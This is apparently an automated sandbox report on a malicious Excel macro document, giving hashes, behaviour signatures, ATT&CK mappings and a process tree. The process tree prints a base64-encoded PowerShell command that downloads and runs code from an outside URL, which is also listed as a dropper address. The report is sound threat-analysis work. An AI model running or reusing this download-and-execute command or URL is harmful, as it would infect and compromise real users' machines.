4b42cea522e48b27e21a52991f010848e0a5c6e0e42255b7a5323afb81b03dd7

General

Target

4b42cea522e48b27e21a52991f010848e0a5c6e0e42255b7a5323afb81b03dd7.xls
Size

28KB
MD5

14399d9b212ebf920943652ba1e7f5e3
SHA1

2411de8a3f816645015e912bd92e5369c6e5b0c9
SHA256

4b42cea522e48b27e21a52991f010848e0a5c6e0e42255b7a5323afb81b03dd7
SHA512

72f667df460361c44e51558fc09b035569bc570567ac732c25c5996f3e844170acf2d42439964993aeae04c41b7218226c5e989a7b9d78eacaf11b4a8b3f0c7b
SSDEEP

384:i8LD/TZxA6ymevz2NsdHLpeAokr25Uen/WWA/E:rD/N+6devz2NsdHLQkr25U6We

Score

10^/10

discovery macro macro_on_action

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://oshi.at/LdxX

Signatures

Blocklisted process makes network request 1 IoCs

flow	pid	Process
3	2304	powershell.exe

Office macro that triggers on suspicious action 1 IoCs

Office document macro which triggers in special circumstances - often malicious.

macro macro_on_action

resource	yara_rule
behavioral1/files/0x0037000000015d48-18.dat	office_macro_on_action

Deletes itself 1 IoCs

pid	Process
2468	EXCEL.EXE

System Location Discovery: System Language Discovery 1 TTPs 2 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	EXCEL.EXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe

Office loads VBA resources, possible macro or embedded object present

Enumerates system info in registry 2 TTPs 1 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\FloatingPointProcessor	EXCEL.EXE

NTFS ADS 1 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Local\Temp\5B567F00\:Zone.Identifier:$DATA	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
2468	EXCEL.EXE

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2304	powershell.exe

Suspicious behavior: RenamesItself 1 IoCs

pid	Process
2468	EXCEL.EXE

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2304	powershell.exe

Suspicious use of SetWindowsHookEx 5 IoCs

pid	Process
2468	EXCEL.EXE
2468	EXCEL.EXE
2468	EXCEL.EXE
2468	EXCEL.EXE
2468	EXCEL.EXE

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 2468 wrote to memory of 2304	2468	EXCEL.EXE	30
PID 2468 wrote to memory of 2304	2468	EXCEL.EXE	30
PID 2468 wrote to memory of 2304	2468	EXCEL.EXE	30
PID 2468 wrote to memory of 2304	2468	EXCEL.EXE	30

C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
"C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\4b42cea522e48b27e21a52991f010848e0a5c6e0e42255b7a5323afb81b03dd7.xls
1⤵
- Deletes itself
- System Location Discovery: System Language Discovery
- Enumerates system info in registry
- NTFS ADS
- Suspicious behavior: AddClipboardFormatListener
- Suspicious behavior: RenamesItself
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2468
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -e SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAcwA6AC8ALwBvAHMAaABpAC4AYQB0AC8ATABkAHgAWAAnACkAOwBvAGEAdwBuAGQAdQBhAHcAZABuAG4AaABuADkAMgA4ADMAaAAxADkAMgAxAG4AYQB3AG8AZABhAG4AZgBpAGEAdwBiAGQAbgBpAHUAZgBiAG4AYQBpAGQAdwB1AGEAaQBmAHUAYQBiAGkAdQBmAGIAYQBpAHUAZABiAGgAagBhAHcAZABiAGEAZgBoAGoA""
  2⤵
  - Blocklisted process makes network request
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2304

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

1

T1082

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\4b42cea522e48b27e21a52991f010848e0a5c6e0e42255b7a5323afb81b03dd7.xls

Filesize
68KB

MD5
ac5c767d425b1a1488df091b61684452

SHA1
b186b13793f4f8dc15723a76bc2d9a8df5ad7fe7

SHA256
264c56547fd5abd207c1c8822e7af8448c7b983a2c091cb382fa4351941072eb

SHA512
8b78bfbe5fd5faec9698a19b52c4c9db19dee3aaa9148f03ab74094d1d394b8b9223cde79589bb9d90c7a7031609389f795c39f251e082ff2a44568f96b146ce

Download Submit
memory/2468-1-0x0000000071E2D000-0x0000000071E38000-memory.dmp

Filesize
44KB

Download
memory/2468-5-0x00000000002F0000-0x00000000003F0000-memory.dmp

Filesize
1024KB

Download
memory/2468-4-0x00000000002F0000-0x00000000003F0000-memory.dmp

Filesize
1024KB

Download
memory/2468-3-0x00000000002F0000-0x00000000003F0000-memory.dmp

Filesize
1024KB

Download
memory/2468-2-0x00000000002F0000-0x00000000003F0000-memory.dmp

Filesize
1024KB

Download
memory/2468-7-0x00000000002F0000-0x00000000003F0000-memory.dmp

Filesize
1024KB

Download
memory/2468-0-0x000000005FFF0000-0x0000000060000000-memory.dmp

Filesize
64KB

Download
memory/2468-15-0x0000000071E2D000-0x0000000071E38000-memory.dmp

Filesize
44KB

Download
memory/2468-16-0x00000000002F0000-0x00000000003F0000-memory.dmp

Filesize
1024KB

Download
memory/2468-17-0x00000000002F0000-0x00000000003F0000-memory.dmp

Filesize
1024KB

Download
memory/2468-6-0x00000000002F0000-0x00000000003F0000-memory.dmp

Filesize
1024KB

Download
memory/2468-35-0x000000005FFF0000-0x0000000060000000-memory.dmp

Filesize
64KB

Download
memory/2468-36-0x0000000071E2D000-0x0000000071E38000-memory.dmp

Filesize
44KB

Download

Analysis

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